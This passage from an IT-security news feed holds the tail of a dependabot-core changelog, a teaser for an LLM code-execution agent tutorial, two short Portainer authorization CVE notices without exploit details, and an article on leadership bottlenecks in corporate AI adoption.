<li>Type Job wire models by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4908664062" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15610" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15610/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15610">#15610</a></li>
<li>Type Service and ApiClient by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4914714552" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15614" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15614/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15614">#15614</a></li>
<li>Add support for calendar-based versions for Maven and Gradle by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yeikel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yeikel">@yeikel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3904944153" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14114" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14114/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14114">#14114</a></li>
<li>Type error reporting by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4914936590" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15615" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15615/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15615">#15615</a></li>
<li>Type updater dependency helpers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4915222773" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15617" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15617/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15617">#15617</a></li>
<li>ensure proper formatting when patching element attributes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brettfo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brettfo">@brettfo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4931344457" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15629" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15629/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15629">#15629</a></li>
<li>Bump ws from 8.18.3 to 8.21.1 in /npm_and_yarn/helpers/test/npm/fixtures/vulnerability-auditor/update-needed-across-two-versions by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4668187184" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15329" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15329/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15329">#15329</a></li>
<li>Bump lodash from 4.17.23 to 4.18.1 in /bun/helpers/test/yarn/fixtures/conflicting-dependency-parser/deeply-nested by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4192916821" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14608" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14608/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14608">#14608</a></li>
<li>Bump lodash from 4.17.23 to 4.18.1 in /npm_and_yarn/helpers/test/yarn/fixtures/conflicting-dependency-parser/deeply-nested by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4193074043" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14609" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14609/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14609">#14609</a></li>
<li>Bump lodash from 4.17.23 to 4.18.1 in /npm_and_yarn/helpers/test/npm6/fixtures/conflicting-dependency-parser/deeply-nested by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4193583048" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14610" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14610/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14610">#14610</a></li>
<li>Bump the dev-dependencies group across 1 directory with 2 updates by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4248765071" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14694" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14694/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14694">#14694</a></li>
<li>Bump pip from 26.1.1 to 26.1.2 in /python/helpers in the pip group across 1 directory by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2923161633" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/11830" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/11830/hovercard" href="https://github.com/dependabot/dependabot-core/pull/11830">#11830</a></li>
<li>Bump yaml from 2.3.1 to 2.9.0 in /bun/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4139279209" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14535" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14535/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14535">#14535</a></li>
<li>npm_and_yarn: group vulnerability auditor blocking-dependency messages by top-level ancestor by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4930247969" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15627" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15627/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15627">#15627</a></li>
<li>Bump ip-address and socks in /bun/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4390826842" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14924" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14924/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14924">#14924</a></li>
<li>Bump brace-expansion from 1.1.13 to 1.1.16 in /bun/helpers/test/yarn/fixtures/conflicting-dependency-parser/deeply-nested by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933097377" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15634" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15634/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15634">#15634</a></li>
<li>Bump brace-expansion from 1.1.13 to 1.1.16 in /npm_and_yarn/helpers/test/yarn/fixtures/conflicting-dependency-parser/deeply-nested by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933096299" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15633" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15633/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15633">#15633</a></li>
<li>Bump sigstore/cosign/cosign from v3.1.1 to v3.1.2 in /docker in the regclient group across 1 directory by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4923388299" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15621" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15621/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15621">#15621</a></li>
<li>Bump lodash from 4.17.23 to 4.18.1 in /bun/helpers/test/npm6/fixtures/conflicting-dependency-parser/deeply-nested by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4191577844" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14606" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14606/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14606">#14606</a></li>
<li>Bump @tootallnate/once from 2.0.0 to 2.0.1 in /bun/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496516067" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15107" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15107/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15107">#15107</a></li>
<li>Bump the "uv-ecosystem" group with 1 update across multiple ecosystems by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416107122" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14969" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14969/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14969">#14969</a></li>
<li>Bump ip-address and socks in /npm_and_yarn/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4390825489" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14923" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14923/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14923">#14923</a></li>
<li>Bump yaml from 2.3.1 to 2.9.0 in /npm_and_yarn/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4139269626" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14533" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14533/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14533">#14533</a></li>
<li>Bump golang.org/x/mod from 0.37.0 to 0.38.0 in /go_modules/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4867732391" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15559" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15559/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15559">#15559</a></li>
<li>Bump @sigstore/verify from 3.1.0 to 3.1.1 in /npm_and_yarn/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4790653064" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15477" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15477/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15477">#15477</a></li>
<li>julia: don't propose compat updates for workspace packages or synthesize member compat entries by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IanButterworth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IanButterworth">@IanButterworth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4939811993" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15643" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15643/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15643">#15643</a></li>
<li>fix: guard against unparseable versions in cooldown fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/currantw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/currantw">@currantw</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933037458" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15632" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15632/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15632">#15632</a></li>
<li>Type dependency requirement readers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943567484" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15646" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15646/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15646">#15646</a></li>
<li>v0.388.0 by @dependabot-core-action-automation[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4925212017" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15623" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15623/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15623">#15623</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/currantw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/currantw">@currantw</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933037458" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15632" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15632/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15632">#15632</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/dependabot/dependabot-core/compare/v0.387.0...v0.388.0"><tt>v0.387.0...v0.388.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build an LLM Agent That Can Write and Run Code]]></title>
<description><![CDATA[A hands-on walkthrough of code execution with the OpenAI Agents SDK and Docker
The post Build an LLM Agent That Can Write and Run Code appeared first on Towards Data Science.]]></description>
<link>https://tsecurity.de/de/3686571/ai-nachrichten/build-an-llm-agent-that-can-write-and-run-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686571/ai-nachrichten/build-an-llm-agent-that-can-write-and-run-code/</guid>
<pubDate>Wed, 22 Jul 2026 15:48:18 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A hands-on walkthrough of code execution with the OpenAI Agents SDK and Docker</p>
<p>The post <a href="https://towardsdatascience.com/build-an-llm-agent-that-can-write-and-run-code/">Build an LLM Agent That Can Write and Run Code</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-44850 | portainer Community Edition up to 2.33.7/2.39.1/2.40.x Portainer-mediated Docker API authorization (GHSA-7fw3-x4r2-g7wc)]]></title>
<description><![CDATA[A vulnerability was found in portainer Community Edition up to 2.33.7/2.39.1/2.40.x. It has been classified as critical. Affected is an unknown function of the component Portainer-mediated Docker API. Performing a manipulation results in incorrect authorization.

This vulnerability was named CVE-...]]></description>
<link>https://tsecurity.de/de/3686056/sicherheitsluecken/cve-2026-44850-portainer-community-edition-up-to-23372391240x-portainer-mediated-docker-api-authorization-ghsa-7fw3-x4r2-g7wc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686056/sicherheitsluecken/cve-2026-44850-portainer-community-edition-up-to-23372391240x-portainer-mediated-docker-api-authorization-ghsa-7fw3-x4r2-g7wc/</guid>
<pubDate>Wed, 22 Jul 2026 13:03:58 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/portainer:community_edition">portainer Community Edition up to 2.33.7/2.39.1/2.40.x</a>. It has been classified as <a href="https://vuldb.com/kb/risk">critical</a>. Affected is an unknown function of the component <em>Portainer-mediated Docker API</em>. Performing a manipulation results in incorrect authorization.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2026-44850">CVE-2026-44850</a>. The attack may be initiated remotely. There is no available exploit.

Upgrading the affected component is recommended.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-44849 | portainer Community Edition up to 2.33.7/2.39.1/2.40.x Docker Swarm Service API authorization (GHSA-5fxq-qcf3-244w)]]></title>
<description><![CDATA[A vulnerability classified as critical has been found in portainer Community Edition up to 2.33.7/2.39.1/2.40.x. The impacted element is an unknown function of the component Docker Swarm Service API. The manipulation leads to missing authorization.

This vulnerability is documented as CVE-2026-44...]]></description>
<link>https://tsecurity.de/de/3686053/sicherheitsluecken/cve-2026-44849-portainer-community-edition-up-to-23372391240x-docker-swarm-service-api-authorization-ghsa-5fxq-qcf3-244w/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686053/sicherheitsluecken/cve-2026-44849-portainer-community-edition-up-to-23372391240x-docker-swarm-service-api-authorization-ghsa-5fxq-qcf3-244w/</guid>
<pubDate>Wed, 22 Jul 2026 13:03:52 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/portainer:community_edition">portainer Community Edition up to 2.33.7/2.39.1/2.40.x</a>. The impacted element is an unknown function of the component <em>Docker Swarm Service API</em>. The manipulation leads to missing authorization.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-44849">CVE-2026-44849</a>. The attack can be initiated remotely. There is not any exploit available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Leadership bottlenecks slow AI adoption]]></title>
<description><![CDATA[At Cisco, VP of engineering Jason Andrews deals with all the same technical issues as every other company deploying AI, including ensuring it’s governed, secure, and integrating multiple data sources, legacy systems, and AI models.



But these issues are relatively straightforward compared to th...]]></description>
<link>https://tsecurity.de/de/3685910/it-security-nachrichten/leadership-bottlenecks-slow-ai-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685910/it-security-nachrichten/leadership-bottlenecks-slow-ai-adoption/</guid>
<pubDate>Wed, 22 Jul 2026 12:14:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">At Cisco, VP of engineering Jason Andrews deals with all the same technical issues as every other company deploying AI, including ensuring it’s governed, secure, and integrating multiple data sources, legacy systems, and AI models.</p>



<p class="wp-block-paragraph">But these issues are relatively straightforward compared to the bigger challenges relating to the fast pace of change, specifically how AI can touch and transform nearly every aspect of business.</p>



<p class="wp-block-paragraph">“We’re thinking about it every day,” he says. “My belief is we’ll be seeing a massive acceleration of everything.”</p>



<p class="wp-block-paragraph">In coding, for example, he’s witnessing productivity increases up to 110% with AI assistants. “I can build apps or custom integrations a lot faster,” he adds.</p>



<p class="wp-block-paragraph">And the real benefit of AI isn’t just in speeding up individual steps in a process, but in making AI the core of a new business process. But building it from scratch puts even more pressure on organizations trying to get employees up to speed on new ways of doing things.</p>



<p class="wp-block-paragraph">“We want to move fast, train people, and get them onboarded,” he says. “But what I thought AI was going to do for my organization nine months ago is different from three months ago.” So by the time something is rolled out, it’s changed three times.</p>



<p class="wp-block-paragraph">“I struggle with the change management aspect,” he says. “The legacy model of change management isn’t fast enough. How do you create that constant learning?”</p>



<p class="wp-block-paragraph">One of the ways Cisco approaches it is to create communities where people can talk about these issues and share best practices and governance, and you have to keep people’s minds open that every day is going to be different than the last, Andrews adds.</p>



<h2 class="wp-block-heading">Testing the AI waters</h2>



<p class="wp-block-paragraph">Cisco isn’t the only organization struggling with change management in the face of the AI tsunami. <a href="https://www.ibm.com/thought-leadership/institute-business-value/en-us/c-suite-study/ceo">In a survey of 2,000 global CEOs IBM released in May</a>, 83% of them said AI success depends more on adoption than on the technology itself, and 77% said talent and technology roles are converging.</p>



<p class="wp-block-paragraph">“Thanks to Claude Code, our entire development cadence is exponentially greater than a year ago,” says Andrew Johnson, CIO at Brownstein Hyatt Farber Schreck, a Denver-based law firm with about 700 employees and clients around the US. But, as with Cisco, the biggest challenge isn’t technical.</p>



<p class="wp-block-paragraph">“In our industry, with our circumstances, we’re probably less constrained by technical capability than organizational constraints, culture, aptitude, the need to bind people to technology, and what helps me and the client,” he says. “There’s a tremendous amount of cultural shift that has to happen in our organization, which is far more demanding of my attention and complexity of thought than the technical stuff.”</p>



<p class="wp-block-paragraph">Companies that bill by the hour, such as law firms, may face additional challenges as attorney productivity increases because billable hours might go down. Alternatively, the total number of cases could go up as litigation becomes less expensive. Either way, firms that adapt will see competitive advantage, and the rest will fall behind, putting more pressure on the need for change management.</p>



<p class="wp-block-paragraph">“If people can’t embrace technology, we won’t be able to get a lot of value out of it,” says Johnson. “I’m talking to people about adapting their way of work. There are certainly a lot of people intrigued and anxious to dive in. They recognize the connection between the potential of the technology and what we do.”</p>



<p class="wp-block-paragraph">But helping everyone see that connection and then working with them to change their habits is difficult, and requires solid relationships and good communications. “That’s been far more of a bottleneck for us,” he says.</p>



<p class="wp-block-paragraph">To address the issue, the firm has developed a network of technology champions who also understand the legal side of the business. “Now we need lawyers who know how to use the technology and can articulate these things to the people we’re trying to reach,” Johnson says.</p>



<p class="wp-block-paragraph">But change management is only one leadership bottleneck slowing AI adoption. Companies also struggle with figuring out their vision for AI, with slow decision-making, and a tendency to focus on the past instead of the future.</p>



<h2 class="wp-block-heading">Vision and strategy</h2>



<p class="wp-block-paragraph"><a href="https://www.grantthornton.com/services/advisory-services/artificial-intelligence/2026-ai-impact-survey">In another survey, this time of 950 business leaders released by Grant Thornton</a> in April, 51% said strategy is the biggest driver of ROI when it comes to AI adoption, but 79% of operations leaders said they don’t have a fully developed and implemented AI strategy.</p>



<p class="wp-block-paragraph">“Having leadership understanding why AI is needed and what objective they’re trying to achieve is very important,” says Shivi Verma, senior manager of engineering at Docusign. “Sometimes leadership doesn’t have a strategy for their organization on how AI should be adopted. Many times it’s bottom-up, which creates a chaotic experience.”</p>



<p class="wp-block-paragraph">When Docusign started adopting gen AI, different teams and organizational units wanted to go in different directions. “All were coming up with their own strategy and tooling,” he says. So Docusign brought business leaders together to understand the pain points, and decide on the technology.</p>



<p class="wp-block-paragraph">“Getting requirements and placing a bet on a specific technology was important,” he says, “as well as pivoting to a different technology if needed.”</p>



<p class="wp-block-paragraph">In order to adapt to changes, the company wanted to have a nimble approach, starting with smaller use cases, with power users, and problem areas.</p>



<p class="wp-block-paragraph">“We try to plan for four to six months,” he adds. “We set expectations for our leadership that we place a bet with a specific technology, but want to be able to pivot.”</p>



<p class="wp-block-paragraph">Today, the leadership challenge front lines have moved yet again, to agentic AI. “Folks are creating their own agents and deciding their own permissions,” Verma adds. “We’re still coming up with a governance strategy.”</p>



<h2 class="wp-block-heading">Slow decision-making</h2>



<p class="wp-block-paragraph">When it comes to AI deployments, Dan Diasio, global AI consulting leader at EY and CTO for its US consulting business, admits he’s a bottleneck.</p>



<p class="wp-block-paragraph">There’s a great deal of interest in what AI can do, and using a variety of new AI tools. But since the firm deals with sensitive client data, safety is paramount. It’s a slow process, but important to build secure infrastructure, and to have trust in the technology. “That’s a reasonable bottleneck that makes sense,” he says.</p>



<p class="wp-block-paragraph">Trust in the tools they work with is essential because clients expect it. “Every tool we use has to go through a detailed security and information privacy impact assessment, as well as a whole other set of controls so they can be used appropriately and safely,” he says.</p>



<p class="wp-block-paragraph">These reviews can take a lot of time, though, and in the age of AI, speed is a highly valued currency. So how do you balance the two, when safety reviews can require input from a lot of different stakeholders and be extremely time intensive?</p>



<p class="wp-block-paragraph">“We’ve stood up a team to be able to quickly certify and address a variety of platforms,” Diasio says. “Instead of working with different departments in the way we used to, we’ve started identifying representatives from different departments into a cohort. Decisions we used to make in months now take weeks.”</p>



<p class="wp-block-paragraph">According to a <a href="https://www.westmonroe.com/insights/why-speed-matters">West Monroe survey</a> of more than 1,200 leaders released earlier this year, slow decision-making is already showing up on the bottom line. Nearly three out of four leaders said their organizations lose up to 5% of annual revenue to slow decision-making and delayed execution.</p>



<p class="wp-block-paragraph">And the top reasons for the delays? According to 40% of the managers surveyed, the problem was the skills gaps of overwhelmed teams, and 35% pointed to layers of management or approvals. Nearly half said they’re spending 10 to 25% of their time on rework, excessive approvals, and unnecessary meetings, and more than half say up to 50% of their projects fail or lose momentum to delays.</p>



<h2 class="wp-block-heading">Focus on the future, not the past</h2>



<p class="wp-block-paragraph">When it comes to the decision about where to apply AI in an organization, the tendency, Diasio says, is to turn to the experts with the most expertise in the business. But these are the same people most likely to focus on improving on what they’re already doing.</p>



<p class="wp-block-paragraph">“And that often blinds people to what’s possible in the future,” he says. “That becomes a significant bottleneck.” So the solution is to revamp the decision-making process around the new reality.</p>



<p class="wp-block-paragraph">“What we see some advanced companies do is give people who don’t understand the process but understand the technology equal footing with people who don’t understand the technology but understand the process,” he says. “A lot of companies are disproportionately focused on just addressing their operating model right now.”</p>



<p class="wp-block-paragraph">Instead of focusing on what they’re currently doing, AI-native companies will start with a focus on the customer, he says. This shift in focus isn’t likely to show up immediately on the bottom line, or result in the highest possible number of pilots going into production.</p>



